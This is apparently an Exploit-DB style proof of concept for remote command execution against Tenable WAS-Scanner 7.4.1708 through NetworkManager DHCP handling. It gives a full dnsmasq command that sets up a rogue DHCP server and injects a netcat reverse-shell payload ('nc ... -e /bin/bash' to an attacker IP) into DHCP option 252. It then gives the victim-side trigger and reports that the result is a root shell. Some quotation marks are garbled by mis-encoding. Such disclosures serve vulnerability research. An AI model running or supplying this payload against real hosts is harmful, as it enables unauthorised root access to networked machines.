# Exploit Title: Tenable WAS-Scanner 7.4.1708 - Remote Command Execution # Discovery by: Sameer Goyal # Discovery Date: 2018-05-30 # Vendor Homepage: https://www.tenable.com/ # Software Link: https://www.tenable.com/products/tenable-io/web-application-scanning # Tested Version: WAS-20180328 # Vulnerability Type: Remote Command Execution (RCE) # Tested on OS: CentOS 7.4.1708 # Vulnerable daemon version: NetworkManager 1.8.0-11.el7_4 # Steps to produce the RCE: # Step 1: Setup your malicious DHCP server in the network using dnsmasq: dnsmasq --interface=eth1 --bind-interfaces --except-interface=lo --dhcp-range=192.168.51.21,192.168.51.25,1h --conf-file=/dev/null --dhcp-option=6,192.168.51.1 --dhcp-option=3,192.168.51.1 --dhcp-option="252,x'&/home/wizard/nc -nv 192.168.51.1 5555 -e /bin/bash #" # DHCP-option-3 => gateway IP/ DHCP server IP. # DHCP-option-6 => DNS IP, which can be same as gateway IP( not mandatory) # DHCP-range => simply subnet range (1h, for 1 hour only) # DHCP option=> ì252,xí&<payload> #î # Start the listener on port 5555 on other terminal . # Step 2: Send the normal IP request to the malicious DHCP server from the victim machine. nmcli con up ìWired Connection 1î && ifconfig # Step 3: Check the listener, we have got the reverse shell with root privileges. # Reference: https://www.exploit-db.com/docs/english/45334-obtaining-command-execution-through-the-networkmanager-daemon.pdf